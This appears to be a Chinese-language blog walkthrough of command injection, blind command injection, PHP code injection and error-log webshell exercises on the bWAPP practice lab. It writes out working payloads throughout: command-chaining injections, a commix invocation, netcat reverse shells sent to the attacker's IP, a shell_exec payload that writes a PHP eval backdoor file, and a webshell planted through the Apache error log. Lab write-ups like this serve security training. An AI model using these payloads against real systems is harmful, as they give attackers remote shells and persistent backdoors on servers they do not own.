前言
命令执行注入漏洞(Command Injection), 是程序能够调用函数, 将字符串转化为可执行代码, 且没有考虑到攻击者可以利用字符串, 造成代码执行漏洞。很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
具体见之前的blog: 漏洞之执行漏洞
0x01 OS Command Injection
分析
如果lookup之后没有输出, 是由于缺少nslookup命令, 到服务器上安装即可:
sudo apt-get install dnsutils
Low
Low级别没有任何防护, 直接通过os一行执行多条语句的原理注入即可:
www.baidu.com & ls /
www.baidu.com && ls /
www.baidu.com;ls /
cmd1&&cmd2 和 cmd1&cmd2的区别是:
前者是当cmd1执行成功才执行cmd2; 后者是不管cmd1执行成功与否, 都执行cmd2
漏洞利用
这里就要利用 commix 工具 ( it is very easy to find and exploit a command injection vulnerability)
这里主要用commix通过OS命令注入漏洞来反弹shell
拿到post的参数和cookie:
然后用如下命令反弹shell:
commix.py -u "http://192.168.10.100:8080/bWAPP/commandi.php" --data="target=127.0.0.1&form=submit" --cookie="security_level=0;PHPSESSID=io6hpc2e5ano5kf33f0du3l385;"
--data对应是的post给服务器的数据, --cookie是响应成功的cookie数据
Medium
经过测试发现&、&& 和 ; 都被替换为空了:
然后操作系统是Linux, 管道符没有被过滤:
www.baidu.com|pwd
当然同样可以使用commix来反弹shell
High
将关键连接符都过滤了, 安全:
0x02 OS Command Injection(Blind)
发现没有任何回显, 判定为盲注类型:
分析
为了证明在盲注下, 注入的命令也能成功执行, 现在服务器当前网页目录下创建一个test.txt文件
在Low级别注入rm命令:
127.0.0.1 & touch ./test.txt
然后进入服务器查看没有创建成功..
怎么回事? 权限不够?
修改command_blind.php源码:
然后命令注入查看当前用户:
127.0.0.1 & whoami
果然如此...用户是www-data, 不能在root用户组的文件夹下写操作
判断注入点
那么不知道源码的情况下怎么判断注入点呢?
这里根据相应时间来看:
- 错误ip: 2ms
输入空ip时, 响应时间为2ms:
- 正常ip: 8ms
正常ping:
- 注入命令的ip:
注入sleep命令, 让系统休眠10秒:
Low
- 直接上commix:
- nc反弹shell
现在攻击者的服务器上监听4555端口:
nc -lvp 4555
然后进行命令注入, 即可反弹shell
127.0.0.1 && nc 192.168.10.100 4555 -e /bin/bash
192.168.10.100 为攻击者的ip
Medium
和上一题非盲注的一样, 没有过滤管道符, 同样可以Command Injection:
127.0.0.1 | nc 192.168.10.100 4555 -e /bin/bash
High
安全
0x03 PHP Code Injection (php代码注入)
分析
点击message链接:
并且写入网页中:
Low
首先尝试xss:
http://localhost:8080/bWAPP/phpi.php?message=<script>alert(1)</script>
发现不行,
继续尝试系统命令执行注入:
http://localhost:8080/bWAPP/phpi.php?message=pwd
也没有被执行, 只是输入了:
加上shell_exec()函数:
http://localhost:8080/bWAPP/phpi.php?message=shell_exec('pwd')
执行成功, 马上写后门:
http://localhost:8080/bWAPP/phpi.php
?message=shell_exec('fputs(fopen('hack.php', 'w'), '<?php @eval($_POST["hack"])?>')')
上菜刀链接即可。
其实也可以直接上菜刀, 因为message参数值是一个"字符串能被当做php语句执行的可控变量":
设置的时候要传security_level=0才可以:
当然也可以像之前的那样, 用nc来反弹shell
Medium&High
在Medium和High等级中, 都将预定义字符转化为HTML实体了:
安全
0x04 Apache错误日志写Webshell
apace会将用户访问网站导致的错误日志写入对应的日志文件中, 但是如果是用户恶意的错误日志被写入, 就会导致webshell入侵。
分析
以bWApp靶场为例, 它是由Apache搭建的, 可以从其配置文件中看到日志写入位置:
简单验证一样错误是否会被写入:
漏洞利用
直接写webshell:
http://localhost:8080/bWAPP/<?php @eval($_POST["hack"]); ?>
来呀! 上菜刀!
当然直接执行是不可以的(至少我这边不可以 = =), 有两点:
1. 默认是在网站根目录 /var/www/ 下的, 日志文件是在 /var/log/apache2 下的, 直接连接肯定是不行, 要配合目录穿越漏洞才可以。
2. 日志文件是 .log, 直接连接也是不能的, 这里要配合文件包含漏洞。
综上所述, 要实现错误日志写webshell, 就要配合目录穿越(不一定, 视情况而定)和文件包含漏洞。